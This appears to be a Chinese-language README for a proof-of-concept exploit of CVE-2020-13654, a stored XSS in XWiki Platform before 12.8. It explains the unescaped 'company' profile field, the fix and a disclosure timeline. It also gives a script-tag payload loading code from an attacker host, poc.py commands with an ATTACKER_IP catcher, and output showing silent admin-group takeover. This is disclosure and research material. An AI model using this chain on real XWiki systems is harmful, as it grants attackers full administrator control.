
CVE-2020-13654 - XWiki Platform < 12.8 - Stored XSS → CSRF → Account Takeover
发现并报告者: Astaruf
完整分析文章: https://nstsec.com/en/posts/xwiki-xss-cve-2020-13654/
NVD 条目: https://nvd.nist.gov/vuln/detail/CVE-2020-13654
XWiki Platform 12.8 之前版本未对用户个人资料编辑器中的用户可控字段进行 HTML 编码。经研究确认受影响的字段为**"公司"**(位于 编辑 → 个人信息 下),但其他个人资料字段共享相同的代码路径。
当渲染个人资料页面时,存储的字段值未经任何 $escapetool.xml() 或等效转义处理直接输出到 HTML 中。攻击者只需拥有任何经过身份验证的帐户(包括刚刚自行注册的帐户),即可存储任意 HTML/JavaScript,并在每个访问该个人资料的用户的浏览器中持久执行,包括管理员。
根本原因存在于受影响的 Velocity 模板中:
## 存在漏洞的版本(< 12.8):将值直接写入 DOM
$xwiki.getUserProperty($user, "company")
## 修复版本(≥ 12.8):输出前对值进行 HTML 编码
$escapetool.xml($xwiki.getUserProperty($user, "company"))
| 字段 | 值 |
|---|---|
| 产品 | XWiki Platform |
| 受影响版本 | < 12.8 |
| 修复版本 | 12.8 |
| CVSSv3 评分 | 7.5(高危) |
| CWE | CWE-116 — 输出编码或转义不当 |
本 PoC 演示了零点击权限提升链:
低权限攻击者帐户
│
├─ 在"公司"字段存储 <script src="http://attacker/payload.js">
▼
XWiki 个人资料页面(已投毒)
│
├─ 管理员导航到该页面(例如通过用户列表或支持工单)
▼
Payload 在管理员浏览器会话中执行
│
├─ 获取 /bin/view/XWiki/XWikiAdminGroup → 提取 CSRF 令牌
├─ POST 请求 form_token + xpage=adduorg + name=attacker → 将攻击者添加到 XWikiAdminGroup
│
▼
攻击者现在拥有完全管理员权限
无需管理员进行除单次页面访问之外的任何交互。
poc.py 是一个独立的利用脚本。它能够:
Company 个人资料字段中,同时保留所有其他现有字段值/payload.js)并记录传入的信标当管理员访问该 URL 时,存储的 <script src="..."> 标签会从攻击者的服务器加载 payload.js。有效载荷在管理员经过身份验证的浏览器上下文中执行,静默地将攻击者的帐户添加到 XWikiAdminGroup,并将结果信标回传。
pip install -r requirements.txt
使用自注册(无需预先存在的帐户):
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123' \
--register \
--first-name John \
--last-name Doe \
--email [email protected]
使用现有的低权限帐户:
python poc.py \
--target http://TARGET:8080 \
--catcher http://ATTACKER_IP:9000 \
--username hacker \
--password 'P@ssw0rd123'
[*] 正在注册帐户 'hacker' ...
✅ 注册成功。
[*] 正在以 'hacker' 身份验证 ...
✅ 验证成功。会话:{'JSESSIONID': 'ABC...'}
[*] 正在将有效载荷注入到 'hacker' 个人资料 ...
✅ 有效载荷已存储:<script src="http://192.168.1.10:9000/payload.js"></script>
[*] 正在验证存储的有效载荷 ...
✅ 页面源代码中确认存在有效载荷。
════════════════════════════════════════════════════════════
利用已准备就绪 — 等待受害用户
请将此 URL 分享给管理员(或等待管理员访问):
>>> http://TARGET:8080/bin/view/XWiki/hacker
触发后,攻击者帐户 'hacker'
将被静默添加到 XWikiAdminGroup。
════════════════════════════════════════════════════════════
2024-01-15 10:23:01 [INFO] 📡 有效载荷在受害用户浏览器中执行 | 172.18.0.1 | START_PRIVESC_FOR_XWiki.hacker
2024-01-15 10:23:01 [INFO] 🎯 权限提升成功 | 172.18.0.1 | SUCCESS_ELEVATED_XWiki.hacker
升级至 XWiki Platform ≥ 12.8。
修复方法是对所有用户可控的个人资料字段在渲染前应用 $escapetool.xml(),以防止注入原始 HTML/JavaScript。
如果无法立即升级,请限制自行注册功能,并通过 XWiki 的访问权限管理将个人资料可见性限制为受信任用户。
| 日期 | 事件 |
|---|---|
| 2020年5月 | 发现漏洞 |
本仓库仅供教育和授权的安全研究目的使用。
请勿针对您不拥有或未经明确书面许可的系统进行测试。
作者不对滥用行为承担任何责任。
| 参数 | 必需 | 描述 |
|---|
--target | ✅ | XWiki 基础 URL |
--catcher | ✅ | 攻击者控制的 URL(用于提供 payload.js 和收集信标) |
--username | ✅ | 攻击者帐户用户名 |
--password | ✅ | 攻击者帐户密码 |
--register | ✗ | 在利用前自动注册帐户 |
--first-name | 如果使用 --register | 注册时的名字 |
--last-name | 如果使用 --register | 注册时的姓氏 |
--email | 如果使用 --register | 注册时的电子邮件 |
| 2020年5月 | 向 XWiki 安全团队报告 |
| 2020年7月 | 在 XWiki Platform 12.8 中修复 |
| 2020年11月 | MITRE 分配 CVE-2020-13654 |
| 2020年12月30日 | 公开披露 — nstsec.com |